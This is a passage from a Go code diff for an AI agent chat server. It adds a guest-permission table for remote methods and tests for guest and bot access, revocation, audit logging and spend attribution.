hostedSessionsPath, -1, nil, http.StatusOK, &listed) + if len(listed.Sessions) != 1 || listed.Sessions[0].ID != made.ID || + len(listed.Shared) != 1 || listed.Shared[0].ID != chat { + t.Fatalf("scoped bot list = %+v", listed) + } + + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + ownClient, _ := guestConnect(t, srv, opened, view.Token, made.ID) + guestWrite(t, ownClient, guestCall(1, "Submit")) + guestRefusal(t, ownClient, 1, guestRunWords) + sharedClient, sharedHost := guestConnect(t, srv, opened, full.Token, chat) + guestWrite(t, sharedClient, guestCall(2, "Steer")) + if got := guestHostLine(t, sharedHost); got != guestCall(2, "Steer") { + t.Fatalf("shared bot did not get its creator's rights: %q", got) + } + + rg.do(t, "mia", http.MethodDelete, "/v1/resources/session/"+chat+"/grants/"+grant.ID, -1, nil, http.StatusNoContent, nil) + guestAccessRemoved(t, sharedClient, sharedHost) + w := rg.botDo(t, full.Token, http.MethodGet, hostedSessionsPath+"/"+chat, -1, nil, http.StatusNotFound, nil) + if w.Body.String() != hostNoSuchChat { + t.Fatalf("bot read after revocation = %q", w.Body) + } + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + _, res, err := websocket.Dial(ctx, wireURL(srv, chat), &websocket.DialOptions{ + HTTPHeader: http.Header{"Authorization": {"Bearer " + full.Token}}, + }) + if err == nil || res == nil || res.StatusCode != http.StatusNotFound { + t.Fatalf("bot attach after revocation = %v, %v", res, err) + } + _ = ownClient.CloseNow() + + rg.botDo(t, full.Token, http.MethodPost, madePath+"/stop", -1, nil, http.StatusNoContent, nil) + rg.botDo(t, full.Token, http.MethodDelete, madePath, -1, nil, http.StatusNoContent, nil) + rg.setAccessPolicy(t, func(p *acl.Policy) { p.Agents.MayCreate = false }) + before := rg.host.count() + w = rg.botDo(t, full.Token, http.MethodPost, hostedSessionsPath, -1, nil, http.StatusForbidden, nil) + assertBotRefusal(t, w, "agents cannot create resources under the organization policy") + if got := rg.host.count(); got != before { + t.Fatalf("refused bot create reached the host: %d requests", got-before) + } +} + +// P2-6 +// A bot's open guest wire follows its current scope and ends when its credential is revoked. +func TestP2_6_BotWireRefreshesScopeAndToken(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "full") + bot := rg.contractBot(t, "abir", "Editor", "edit") + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + client, host := guestConnect(t, srv, opened, bot.Token, chat) + guestWrite(t, client, guestCall(1, "Submit")) + if got := guestHostLine(t, host); got != guestCall(1, "Submit") { + t.Fatalf("host received %q for the bot's first message", got) + } + rg.setAccessPolicy(t, func(p *acl.Policy) { + for i := range p.Roles { + if p.Roles[i].Name == "edit" { + p.Roles[i].Verbs = slices.DeleteFunc(p.Roles[i].Verbs, func(v string) bool { return v == "run" }) + } + } + }) + time.Sleep(2 * guestTestHeartbeat) + guestWrite(t, client, guestCall(2, "Submit")) + guestRefusal(t, client, 2, guestRunWords) + + path := "/v1/bots/" + bot.Bot.ID + "/tokens/" + bot.Bot.Tokens[0].ID + rg.do(t, "abir", http.MethodDelete, path, -1, nil, http.StatusOK, nil) + guestAccessRemoved(t, client, host) +} + +// P2-5 +// A signed-out person loses their open guest wire even when they still have a grant. +func TestP2_5_SignOutClosesGuestWire(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + client, host := guestConnect(t, srv, opened, rg.tokens["abir"], chat) + var sessions struct { + Sessions []struct { + ID string + Current bool + } + } + rg.do(t, "abir", http.MethodGet, "/v1/me/sessions", -1, nil, http.StatusOK, &sessions) + for _, session := range sessions.Sessions { + if session.Current { + rg.do(t, "abir", http.MethodDelete, "/v1/me/sessions/"+session.ID, -1, nil, http.StatusOK, nil) + guestAccessRemoved(t, client, host) + return + } + } + t.Fatal("could not find the guest's sign-in session") +} + +// P2-8 +// A guest's allowed calls record who asked while model spend and git credentials stay with the chat's owner. +func TestP2_8_HostedWireStampsSpendAndAudit(t *testing.T) { + rg := newMeteredRig(t, 5, func(ctx context.Context, key, model string) (*ai.Response, error) { + if key != testHostedOrgKey { + t.Errorf("model used a different credential: %q", key) + } + return meteredAnswer(ctx, model, "answer", 0.05), nil + }) + chat := rg.create(t, "santosh") + rg.host.adopt(chat, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "edit") + hostedGrant(t, rg, "santosh", chat, "mia", "view") + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + rg.up.mu.Lock() + rg.up.handler = func(w http.ResponseWriter, r *http.Request) { + if _, key, ok := r.BasicAuth(); !ok || key != personGitKey { + t.Error("git did not use the owner's credential") + } + _, _ = io.WriteString(w, "0000") + } + rg.up.mu.Unlock() + rg.h.config.Hosted.state.gitHosts = []string{rg.upSrv.URL} + previous := hostedKeyForHook + hostedKeyForHook = func(person, provider string) (string, bool, error) { + if person == "santosh" && provider == "github" { + return personGitKey, true, nil + } + return "", false, nil + } + t.Cleanup(func() { hostedKeyForHook = previous }) + guest, host := guestConnect(t, srv, opened, rg.tokens["abir"], chat) + pushes := rg.host.pushList() + if len(pushes) != 2 || pushes[1].id != chat || pushes[1].person != "santosh" || + pushes[1].token == pushes[0].token || pushes[1].token != rg.host.tokenOf(chat) { + t.Fatal("guest attach did not renew the owner's model access") + } + space := myHostedSpace(t, rg, "santosh") + charge := func() { + t.Helper() + if w := callHostedModel(rg, chat, testHostedBody); w.Code != http.StatusOK { + t.Fatalf("model charge: %d %s", w.Code, w.Body) + } + } + git := func() { + t.Helper() + host := strings.TrimPrefix(rg.upSrv.URL, "http://") + res := rg.send("", http.MethodGet, "/v1/hosted/git/"+host+"/org/repo/info/refs?service=git-upload-pack", + nil, map[string]string{"Authorization": gitBasic(rg.host.tokenOf(chat))}) + if res.Code != http.StatusOK { + t.Fatalf("git = %d %s", res.Code, res.Body) + } + } + + viewer, _ := guestConnect(t, srv, opened, rg.tokens["mia"], chat) + guestWrite(t, viewer, guestCall(1, "Steer")) + guestRefusal(t, viewer, 1, guestSteerWords) + charge() + git() + + const privateText = "a prompt that must stay out of the audit file" + prompts := []string{"Steer", "Submit", "SubmitBash", "SubmitImage", "SubmitFiles", "FollowUp"} + for i, method := range prompts { + line := strings.TrimSuffix(guestCall(i+2, method), "}\n") + `,"payload":{"text":"` + privateText + `"}}` + "\n" + guestWrite(t, guest, line) + if got := guestHostLine(t, host); got != line { + t.Fatalf("host received %q, want %q", got, line) + } + if method == "Steer" { + charge() + git() + } + } + owner := guestDial(t, srv, rg.tokens["santosh"], chat) + ownerHost, _ := guestReceive(t, opened) + const ownerBytes = " { \"kind\":\"call\", \"method\":\"Close\" }\n" + guestWrite(t, owner, ownerBytes) + if got := guestHostLine(t, ownerHost); got != ownerBytes { + t.Fatalf("owner used the guest pump: %q", got) + } + charge() + git() + spends := hostedSpendRows(t, rg, space.Workstream.ID) + if len(spends) != 3 { + t.Fatalf("spend rows = %+v", spends) + } + for i, asker := range []string{"", "abir", ""} { + if spends[i].By != "santosh" || spends[i].Asker != asker { + t.Errorf("spend %d = %+v, want santosh / %q", i, spends[i], asker) + } + } + + var audit struct{ Entries []map[string]string } + rg.do(t, "santosh", http.MethodGet, "/v1/hosted/audit", -1, nil, http.StatusOK, &audit) + promptCount := 0 + var gitAskers []string + for _, entry := range audit.Entries { + if entry["person"] != "santosh" || entry["chat"] != chat { + t.Fatalf("wrong audit owner or chat: %+v", entry) + } + switch entry["kind"] { + case "prompt": + promptCount++ + if entry["asker"] != "abir" { + t.Errorf("prompt audit = %+v", entry) + } + case "git": + gitAskers = append(gitAskers, entry["asker"]) + if asker, present := entry["asker"]; asker == "" && present { + t.Errorf("P1 git entry gained a field: %+v", entry) + } + default: + t.Errorf("unexpected audit entry: %+v", entry) + } + } + if promptCount != len(prompts) || !reflect.DeepEqual(gitAskers, []string{"", "abir", ""}) { + t.Fatalf("audit rows = %+v", audit.Entries) + } + rg.do(t, "abir", http.MethodGet, "/v1/hosted/audit", -1, nil, http.StatusOK, &audit) + if len(audit.Entries) != 0 || strings.Contains(rg.readFile(t, "hosted-audit.jsonl"), privateText) { + t.Fatal("the audit exposed the owner's entries to the guest or logged the text") + } +} + +// P2-9b +// The hosted list carries the effective policy words and omits them when local chats are allowed. +func TestP2_9_HostedListIncludesPolicyWords(t *testing.T) { + rg := newHostedRig(t) + const refuse = "This organization runs your chats on its own server, so they do not start on this computer. To work here instead, switch to your personal account, which does not see the organization's chats or files." + const warn = "This organization keeps your chats on its own server. A chat started on this computer is not part of the organization's account." + for _, tc := range []struct{ setting, effective, words string }{ + {"", "refuse", refuse}, {"refuse", "refuse", refuse}, {"warn", "warn", warn}, {"allow", "allow", ""}, + } { + t.Run(tc.effective+"/"+tc.setting, func(t *testing.T) { + if tc.setting != "" { + rg.setAccessPolicy(t, func(p *acl.Policy) { + p.Hosting = acl.Hosting{LocalSessions: tc.setting, MaxSessionCostUSD: 40} + }) + } + var result struct{ Hosting map[string]json.RawMessage } + rg.do(t, "abir", http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &result) + want := map[string]json.RawMessage{"local_sessions": json.RawMessage(`"` + tc.effective + `"`)} + if tc.words != "" { + want["words"], _ = json.Marshal(tc.words) + } + if !reflect.DeepEqual(result.Hosting, want) { + t.Fatalf("hosting = %+v, want %+v", result.Hosting, want) + } + }) + } +} diff --git a/internal/factory/serve/hosted_guest_methods.go b/internal/factory/serve/hosted_guest_methods.go new file mode 100644 index 0000000000..234ee0d992 --- /dev/null +++ b/internal/factory/serve/hosted_guest_methods.go @@ -0,0 +1,213 @@ +package serve + +import ( + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/remote" +) + +const ( + hostedGuestOwner = "owner" + hostedGuestOwnerOnly = "This chat is shared with you. Only its owner can do that." + hostedGuestNeedsRun = "You can watch this chat, but you were not given permission to send messages in it. Ask its owner." + hostedGuestNeedsSteer = "You can watch this chat, but you were not given permission to steer it. Ask its owner." + hostedGuestNeedsAnswer = "You can watch this chat, but you were not given permission to answer its questions. Ask its owner." +) + +// Only the verb classes below can pass the guest wire. An unlisted method stays with the owner. +var hostedGuestMethods = map[string]string{ + remote.MethodPing: acl.VerbView, + remote.MethodDetach: acl.VerbView, + remote.MethodTranscript: acl.VerbView, + remote.MethodEarlier: acl.VerbView, + remote.MethodTitle: acl.VerbView, + remote.MethodUsage: acl.VerbView, + remote.MethodContextTokens: acl.VerbView, + remote.MethodModel: acl.VerbView, + remote.MethodSpendRail: acl.VerbView, + remote.MethodEffort: acl.VerbView, + remote.MethodResolvedEffort: acl.VerbView, + remote.MethodReasoningFor: acl.VerbView, + remote.MethodAutonomy: acl.VerbView, + remote.MethodResolvedApproval: acl.VerbView, + remote.MethodAttachedSkills: acl.VerbView, + remote.MethodHeldQuestions: acl.VerbView, + remote.MethodQuestionWatch: acl.VerbView, + remote.MethodTaskWatch: acl.VerbView, + remote.MethodTaskRoom: acl.VerbView, + remote.MethodTaskPending: acl.VerbView, + remote.MethodTitleWatch: acl.VerbView, + remote.MethodDesignWatch: acl.VerbView, + remote.MethodCheckWork: acl.VerbView, + remote.MethodRenderList: acl.VerbView, + remote.MethodRenderGet: acl.VerbView, + remote.MethodAppTasks: acl.VerbView, + remote.MethodAppTask: acl.VerbView, + remote.MethodAppQuickTasks: acl.VerbView, + remote.MethodAppProgramActions: acl.VerbView, + remote.MethodPlanTasks: acl.VerbView, + remote.MethodPlanSpend: acl.VerbView, + remote.MethodPlanTaskPage: acl.VerbView, + remote.MethodRewindPoints: acl.VerbView, + + remote.MethodSteer: acl.VerbSteer, + remote.MethodInterrupt: acl.VerbSteer, + + remote.MethodQuestionResolve: acl.VerbAnswer, + + remote.MethodSubmit: acl.VerbRun, + remote.MethodSubmitBash: acl.VerbRun, + remote.MethodSubmitImage: acl.VerbRun, + remote.MethodSubmitFiles: acl.VerbRun, + remote.MethodFollowUp: acl.VerbRun, + remote.MethodUnqueueFollowUp: acl.VerbRun, + remote.MethodQuestionReplace: acl.VerbRun, + remote.MethodTyping: acl.VerbRun, + remote.MethodTake: acl.VerbRun, + + remote.MethodAnswerLaneOffer: hostedGuestOwner, + remote.MethodAppContinueInterrupted: hostedGuestOwner, + remote.MethodAppMoveToTask: hostedGuestOwner, + remote.MethodAppQuickTaskAction: hostedGuestOwner, + remote.MethodAppRename: hostedGuestOwner, + remote.MethodAppResumeAfterClose: hostedGuestOwner, + remote.MethodAppResumeAfterQuit: hostedGuestOwner, + remote.MethodAppTaskAction: hostedGuestOwner, + remote.MethodAppTaskRouting: hostedGuestOwner, + remote.MethodAppTaskRoutingAct: hostedGuestOwner, + remote.MethodAppTaskRoutingOptions: hostedGuestOwner, + remote.MethodAttachSkills: hostedGuestOwner, + remote.MethodAutomationsActive: hostedGuestOwner, + remote.MethodAutomationsChanges: hostedGuestOwner, + remote.MethodAutomationsClaim: hostedGuestOwner, + remote.MethodAutomationsCreate: hostedGuestOwner, + remote.MethodAutomationsCursor: hostedGuestOwner, + remote.MethodAutomationsDelete: hostedGuestOwner, + remote.MethodAutomationsList: hostedGuestOwner, + remote.MethodAutomationsRunNow: hostedGuestOwner, + remote.MethodAutomationsRuns: hostedGuestOwner, + remote.MethodAutomationsSetStatus: hostedGuestOwner, + remote.MethodAutomationsStopRun: hostedGuestOwner, + remote.MethodAutomationsUpdate: hostedGuestOwner, + remote.MethodAutomationsWindows: hostedGuestOwner, + remote.MethodClaimChatStart: hostedGuestOwner, + remote.MethodClearSkills: hostedGuestOwner, + remote.MethodClientToolAnswer: hostedGuestOwner, + remote.MethodClientToolsSet: hostedGuestOwner, + remote.MethodClose: hostedGuestOwner, + remote.MethodCompact: hostedGuestOwner, + remote.MethodConnect: hostedGuestOwner, + remote.MethodConnectKey: hostedGuestOwner, + remote.MethodConsent: hostedGuestOwner, + remote.MethodConsentRemember: hostedGuestOwner, + remote.MethodDelegateList: hostedGuestOwner, + remote.MethodDelegateStart: hostedGuestOwner, + remote.MethodDepositFile: hostedGuestOwner, + remote.MethodDetachSkill: hostedGuestOwner, + remote.MethodFetchFile: hostedGuestOwner, + remote.MethodHarness: hostedGuestOwner, + remote.MethodListDir: hostedGuestOwner, + remote.MethodMemoryAlways: hostedGuestOwner, + remote.MethodMemoryApplies: hostedGuestOwner, + remote.MethodMemoryChanged: hostedGuestOwner, + remote.MethodMemoryForget: hostedGuestOwner, + remote.MethodMemoryMemories: hostedGuestOwner, + remote.MethodMemoryMove: hostedGuestOwner, + remote.MethodMemoryProject: hostedGuestOwner, + remote.MethodMemoryProvenance: hostedGuestOwner, + remote.MethodMemoryRemember: hostedGuestOwner, + remote.MethodMemoryRememberAlways: hostedGuestOwner, + remote.MethodMemoryRestore: hostedGuestOwner, + remote.MethodMemorySelection: hostedGuestOwner, + remote.MethodMemorySnapshot: hostedGuestOwner, + remote.MethodMemoryUpdate: hostedGuestOwner, + remote.MethodNoteConnected: hostedGuestOwner, + remote.MethodObserve: hostedGuestOwner, + remote.MethodOpenPlanTaskWork: hostedGuestOwner, + remote.MethodPlacesArchive: hostedGuestOwner, + remote.MethodPlacesDelete: hostedGuestOwner, + remote.MethodPlacesLedger: hostedGuestOwner, + remote.MethodPlacesRefer: hostedGuestOwner, + remote.MethodPlacesRemove: hostedGuestOwner, + remote.MethodPlacesSearch: hostedGuestOwner, + remote.MethodPlacesTask: hostedGuestOwner, + remote.MethodPlacesTaskDelete: hostedGuestOwner, + remote.MethodPlacesWorld: hostedGuestOwner, + remote.MethodPlanAmend: hostedGuestOwner, + remote.MethodPlanCancel: hostedGuestOwner, + remote.MethodPlanNote: hostedGuestOwner, + remote.MethodPlanPause: hostedGuestOwner, + remote.MethodPlanPriority: hostedGuestOwner, + remote.MethodPlanResume: hostedGuestOwner, + remote.MethodPlanRunSummary: hostedGuestOwner, + remote.MethodPlanTaskWork: hostedGuestOwner, + remote.MethodPlannerStart: hostedGuestOwner, + remote.MethodProcessActions: hostedGuestOwner, + remote.MethodProcessList: hostedGuestOwner, + remote.MethodProcessPage: hostedGuestOwner, + remote.MethodProcessRecord: hostedGuestOwner, + remote.MethodProcessRerun: hostedGuestOwner, + remote.MethodProcessRerunAt: hostedGuestOwner, + remote.MethodProcessStopAll: hostedGuestOwner, + remote.MethodProcessStopAt: hostedGuestOwner, + remote.MethodQuestionDismiss: hostedGuestOwner, + remote.MethodQuestionHold: hostedGuestOwner, + remote.MethodQuestionClock: hostedGuestOwner, + remote.MethodRefreshRunSummary: hostedGuestOwner, + remote.MethodRenderCancel: hostedGuestOwner, + remote.MethodRewindAt: hostedGuestOwner, + remote.MethodRunHarness: hostedGuestOwner, + remote.MethodSessionNew: hostedGuestOwner, + remote.MethodSessionOpen: hostedGuestOwner, + remote.MethodSessionsRecent: hostedGuestOwner, + remote.MethodSetApproval: hostedGuestOwner, + remote.MethodSetAutomaticModels: hostedGuestOwner, + remote.MethodSetAutonomy: hostedGuestOwner, + remote.MethodSetContext: hostedGuestOwner, + remote.MethodSetConversationModels: hostedGuestOwner, + remote.MethodSetEffort: hostedGuestOwner, + remote.MethodSetModel: hostedGuestOwner, + remote.MethodSetReasoningFor: hostedGuestOwner, + remote.MethodSetSpendRail: hostedGuestOwner, + remote.MethodSetupPlan: hostedGuestOwner, + remote.MethodSideAsk: hostedGuestOwner, + remote.MethodSideAskStream: hostedGuestOwner, + remote.MethodSkillFolders: hostedGuestOwner, + remote.MethodSkillShelf: hostedGuestOwner, + remote.MethodStatPaths: hostedGuestOwner, + remote.MethodStopWork: hostedGuestOwner, + remote.MethodSubharnessResolve: hostedGuestOwner, + remote.MethodSubmitSetup: hostedGuestOwner, + remote.MethodTaskEffort: hostedGuestOwner, + remote.MethodTaskHold: hostedGuestOwner, + remote.MethodTaskModel: hostedGuestOwner, + remote.MethodTaskRedoStronger: hostedGuestOwner, + remote.MethodTaskResolve: hostedGuestOwner, + remote.MethodTaskRetry: hostedGuestOwner, + remote.MethodTaskRunHere: hostedGuestOwner, + remote.MethodTaskSetEffort: hostedGuestOwner, + remote.MethodTaskSettle: hostedGuestOwner, + remote.MethodTaskStart: hostedGuestOwner, + remote.MethodTaskStartOn: hostedGuestOwner, + remote.MethodTaskSteer: hostedGuestOwner, + remote.MethodTaskStop: hostedGuestOwner, + remote.MethodTaskWorkspaceApply: hostedGuestOwner, + remote.MethodTaskWorkspaceCancel: hostedGuestOwner, + remote.MethodTaskWorkspaceReview: hostedGuestOwner, + remote.MethodTeamsAcceptClosing: hostedGuestOwner, + remote.MethodTeamsApplyDefault: hostedGuestOwner, + remote.MethodTeamsDecide: hostedGuestOwner, + remote.MethodTeamsDefaults: hostedGuestOwner, + remote.MethodTeamsDelete: hostedGuestOwner, + remote.MethodTeamsEscalate: hostedGuestOwner, + remote.MethodTeamsName: hostedGuestOwner, + remote.MethodTeamsPackets: hostedGuestOwner, + remote.MethodTeamsPropose: hostedGuestOwner, + remote.MethodTeamsRaise: hostedGuestOwner, + remote.MethodTeamsRead: hostedGuestOwner, + remote.MethodTeamsSpend: hostedGuestOwner, + remote.MethodTeamsTraffic: hostedGuestOwner, + remote.MethodTeamsUpdate: hostedGuestOwner, + remote.MethodTeamsWrapUp: hostedGuestOwner, + remote.MethodUnobserve: hostedGuestOwner, + remote.MethodUseModelForNow: hostedGuestOwner, +} diff --git a/internal/factory/serve/hosted_guest_methods_test.go b/internal/factory/serve/hosted_guest_methods_test.go new file mode 100644 index 0000000000..99d122bad6 --- /dev/null +++ b/internal/factory/serve/hosted_guest_methods_test.go @@ -0,0 +1,97 @@ +package serve + +import ( + "go/ast" + "go/constant" + "go/parser" + "go/token" + "go/types" + "path/filepath" + "strings" + "testing" +) + +// P2-5 +// Every remote method has exactly one class, and only the listed methods can reach the engine from a guest. +func TestP2_5_HostedGuestMethodTableLaw(t *testing.T) { + fset := token.NewFileSet() + paths, err := filepath.Glob("../../remote/*.go") + if err != nil || len(paths) == 0 { + t.Fatalf("finding the wire sources: %v", err) + } + var sources []*ast.File + var methods []string + for _, path := range paths { + if strings.HasSuffix(path, "_test.go") { + continue + } + source, err := parser.ParseFile(fset, path, nil, parser.SkipObjectResolution) + if err != nil { + t.Fatal(err) + } + var declarations []ast.Decl + for _, decl := range source.Decls { + group, ok := decl.(*ast.GenDecl) + if !ok || group.Tok != token.CONST { + continue + } + declarations = append(declarations, group) + for _, spec := range group.Specs { + for _, name := range spec.(*ast.ValueSpec).Names { + if strings.HasPrefix(name.Name, "Method") { + methods = append(methods, name.Name) + } + } + } + } + source.Decls, source.Imports = declarations, nil + sources = append(sources, source) + } + if len(methods) == 0 { + t.Fatal("no wire method constants found") + } + // Resolving just constant declarations handles aliases and constant expressions without loading the engine. + // An unrelated constant can depend on an import, so report unresolved values only for wire methods. + conf := types.Config{Error: func(error) {}} + pkg, _ := conf.Check("remote", fset, sources, nil) + + expected := map[string]string{} + for class, names := range map[string]string{ + "view": "Ping Detach Transcript EarlierHistory Title Usage ContextTokens Model SpendRail Effort ResolvedEffort ReasoningFor Autonomy ResolvedApproval AttachedSkills Held.Questions Question.Watch Task.Watch Task.Room Task.Pending Title.Watch Design.Watch CheckWork Render.List Render.Get App.Tasks App.Task App.QuickTasks App.ProgramActions PlanTasks PlanSpend PlanTaskPage RewindPoints", + "steer": "Steer Interrupt", + "answer": "ResolveQuestion", + "run": "Submit SubmitBash SubmitImage SubmitFiles FollowUp UnqueueFollowUp ReplaceQuestion Typing Take", + } { + for _, name := range strings.Fields(names) { + expected[name] = class + } + } + seen := map[string]bool{} + for _, method := range methods { + c, ok := pkg.Scope().Lookup(method).(*types.Const) + if !ok || c.Val().Kind() != constant.String { + t.Errorf("could not resolve wire constant %s", method) + continue + } + wire := constant.StringVal(c.Val()) + seen[wire] = true + want := expected[wire] + if want == "" { + want = "owner" + } + // Go rejects duplicate constant keys in the table, even through an alias. + if got := hostedGuestMethods[wire]; got != want { + t.Errorf("%s (%q) class = %q, want %q", method, wire, got, want) + } + } + for wire := range hostedGuestMethods { + if !seen[wire] { + t.Errorf("%q has a class but no wire constant", wire) + } + } + for wire := range expected { + if !seen[wire] { + t.Errorf("the guest contract names %q without a wire constant", wire) + } + } +} diff --git a/internal/factory/serve/hosted_guest_test.go b/internal/factory/serve/hosted_guest_test.go new file mode 100644 index 0000000000..43869d1caf --- /dev/null +++ b/internal/factory/serve/hosted_guest_test.go @@ -0,0 +1,372 @@ +package serve + +import ( + "context" + "encoding/json" + "fmt" + "maps" + "net/http" + "net/http/httptest" + "slices" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/remote" + "github.com/coder/websocket" +) + +const ( + guestTestHello = "{\"kind\":\"hello\",\"payload\":{\"version\":1}}\n" + guestOwnerWords = "This chat is shared with you. Only its owner can do that." + guestRunWords = "You can watch this chat, but you were not given permission to send messages in it. Ask its owner." + guestSteerWords = "You can watch this chat, but you were not given permission to steer it. Ask its owner." + guestAnswerWords = "You can watch this chat, but you were not given permission to answer its questions. Ask its owner." + guestRemovedWords = "Your access to this chat was removed." + guestTestHeartbeat = 100 * time.Millisecond +) + +type guestHostWire struct { + conn *websocket.Conn + incoming chan string +} + +func recordGuestHostWires(rg *hostedRig) <-chan guestHostWire { + opened := make(chan guestHostWire, 8) + rg.h.config.Hosted.Heartbeat = guestTestHeartbeat + rg.host.mu.Lock() + defer rg.host.mu.Unlock() + rg.host.wire = func(conn *websocket.Conn, r *http.Request) { + wire := guestHostWire{conn, make(chan string, 512)} + defer close(wire.incoming) + opened <- wire + for { + _, raw, err := conn.Read(r.Context()) + if err != nil { + return + } + wire.incoming <- string(raw) + } + } + return opened +} + +func guestReceive[T any](t *testing.T, ch <-chan T) (T, bool) { + t.Helper() + select { + case value, ok := <-ch: + return value, ok + case <-time.After(5 * time.Second): + t.Fatal("timed out waiting for the host wire") + var zero T + return zero, false + } +} + +func guestHostLine(t *testing.T, wire guestHostWire) string { + t.Helper() + raw, ok := guestReceive(t, wire.incoming) + if !ok { + t.Fatal("the host wire closed before the expected line") + } + return raw +} + +func guestDial(t *testing.T, srv *httptest.Server, secret, chat string) *websocket.Conn { + t.Helper() + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + conn, _, err := websocket.Dial(ctx, wireURL(srv, chat), &websocket.DialOptions{ + HTTPHeader: http.Header{"Authorization": {"Bearer " + secret}, "Origin": {"https://another.example"}}, + }) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = conn.CloseNow() }) + return conn +} + +func guestConnect(t *testing.T, srv *httptest.Server, opened <-chan guestHostWire, secret, chat string) (*websocket.Conn, guestHostWire) { + t.Helper() + client := guestDial(t, srv, secret, chat) + host, _ := guestReceive(t, opened) + guestWrite(t, client, guestTestHello) + var hello remote.Frame + if err := json.Unmarshal([]byte(guestHostLine(t, host)), &hello); err != nil || hello.Kind != "hello" { + t.Fatalf("the host did not receive a hello: %+v, %v", hello, err) + } + return client, host +} + +func guestWrite(t *testing.T, conn *websocket.Conn, raw string) { + t.Helper() + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + if err := conn.Write(ctx, websocket.MessageBinary, []byte(raw)); err != nil { + t.Fatal(err) + } +} + +func guestRead(t *testing.T, conn *websocket.Conn, limit time.Duration) string { + t.Helper() + ctx, cancel := context.WithTimeout(t.Context(), limit) + defer cancel() + kind, raw, err := conn.Read(ctx) + if err != nil || kind != websocket.MessageBinary { + t.Fatalf("the wire read = %v %q, %v", kind, raw, err) + } + return string(raw) +} + +func guestFrame(t *testing.T, raw string) remote.Frame { + t.Helper() + var frame remote.Frame + if err := json.Unmarshal([]byte(raw), &frame); err != nil || !strings.HasSuffix(raw, "\n") { + t.Fatalf("the wire did not carry one frame: %q, %v", raw, err) + } + return frame +} + +func guestCall(id int, method string) string { + return fmt.Sprintf("{\"kind\":\"call\",\"id\":%d,\"method\":%q}\n", id, method) +} + +func guestRefusal(t *testing.T, client *websocket.Conn, id int, words string) { + t.Helper() + raw := guestRead(t, client, 5*time.Second) + want := fmt.Sprintf("{\"kind\":\"result\",\"id\":%d,\"error\":%q}\n", id, words) + if raw != want { + t.Fatalf("refusal = %q, want %q", raw, want) + } +} + +func guestClosed(t *testing.T, client *websocket.Conn, host guestHostWire, limit time.Duration) { + t.Helper() + ctx, cancel := context.WithTimeout(t.Context(), limit) + defer cancel() + _, raw, err := client.Read(ctx) + if err == nil || ctx.Err() != nil { + t.Fatalf("the client wire did not close: %q, %v", raw, err) + } + if raw, ok := guestReceive(t, host.incoming); ok { + t.Fatalf("an unexpected frame reached the host: %q", raw) + } +} + +// P2-5 +// A guest opens the existing conversation and both directions keep line boundaries across WebSocket messages. +func TestP2_5_GuestHelloAndWholeLines(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + client := guestDial(t, srv, rg.tokens["abir"], chat) + host, _ := guestReceive(t, opened) + guestWrite(t, client, `{"kind":"hello","payload":{"launch":{},"model":"other","level":"high","workspace":"/elsewhere","Session":"elsewhere","ſession":"also elsewhere","new":true,"join":true,"holdInterruptedWork":true,"window":{},"BACK":false,"CLIENTID":"desk","version":1,"resume":[{"stream":8,"seq":99}],"encodings":["gzip"],"surface":"desk","watch":false,"extra":{"keep":true}}}`+"\n") + frame := guestFrame(t, guestHostLine(t, host)) + var payload map[string]json.RawMessage + if err := json.Unmarshal(frame.Payload, &payload); err != nil || frame.Kind != "hello" { + t.Fatalf("forwarded hello = %+v, %v", frame, err) + } + want := map[string]string{ + "back": "true", "clientID": `"guest:desk"`, "version": "1", "watch": "false", + "resume": `[{"stream":8,"seq":99}]`, "encodings": `["gzip"]`, "surface": `"desk"`, "extra": `{"keep":true}`, + } + if len(payload) != len(want) { + t.Errorf("hello kept unexpected fields: %s", frame.Payload) + } + for key, val := range want { + if string(payload[key]) != val { + t.Errorf("hello %s = %s, want %s", key, payload[key], val) + } + } + + const first = `{"kind":"event", "payload": ` + const last = `{"keep": "original spaces"}}` + "\n" + guestWrite(t, host.conn, first) + guestWrite(t, client, `{"kind":"call","id":9,"method":"Sub`) + guestWrite(t, client, `mit"}`+"\n") + guestRefusal(t, client, 9, guestRunWords) + guestWrite(t, host.conn, last+"an opaque engine line\n") + if got := guestRead(t, client, 5*time.Second); got != first+last { + t.Fatalf("engine line changed: %q", got) + } + if got := guestRead(t, client, 5*time.Second); got != "an opaque engine line\n" { + t.Fatalf("opaque engine line changed: %q", got) + } + guestWrite(t, client, " { \"kind\":\"call\", \"id\":10, \"method\":\"Ping\", \"unknown\":true }\n") + if got := guestHostLine(t, host); got != guestCall(10, "Ping") { + t.Fatalf("next engine input was not the checked frame: %q", got) + } + + client.SetReadLimit(4 << 20) + longLine := strings.Repeat("x", 4<<20) + "\n" + guestWrite(t, host.conn, longLine) + var received strings.Builder + for received.Len() < len(longLine) { + received.WriteString(guestRead(t, client, 5*time.Second)) + } + if received.String() != longLine { + t.Fatal("the long engine line changed on the guest wire") + } +} + +// P2-5 +// Only the methods named by the guest's current verbs can reach the engine. +func TestP2_5_GuestMethodsUseVerbs(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + hostedGrant(t, rg, "santosh", chat, "mia", "edit") + opened := recordGuestHostWires(rg) + srv := 